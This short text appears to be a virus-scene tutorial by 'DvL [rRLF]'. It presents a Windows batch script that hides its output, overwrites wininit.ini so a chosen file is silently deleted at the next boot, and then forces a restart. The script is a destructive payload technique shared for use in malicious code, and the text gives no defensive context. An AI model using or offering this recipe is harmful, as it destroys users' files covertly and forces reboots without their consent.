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                                 WinInit.ini File Removal
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                                        by DvL [rRLF]


 I don`t know if this is new or not but i wanna share it with you too.
 I`ve find out that u can delete a file with "wininit.ini" located in
 the windows directory.

 sample.bat
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 ctty nul     -> it hides the output screen
 echo.[rename]>%windir%\wininit.ini     -> creating or overwriting the original wininit.ini file with this one
 echo.NUL=location:\file-to-delete.extension>>%windir%\wininit.ini     -> renames the wanted file to NUL, this means removal 
 rundll32 shell32,shexitwindowsex 4     -> restarts the computer forced to take effect
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 After the wininit.ini is executed by windows the file is renamed in wininit.bak or
 wininit.er if an error ocured.

 NOTE: If anybody knows more about this file, mail me.

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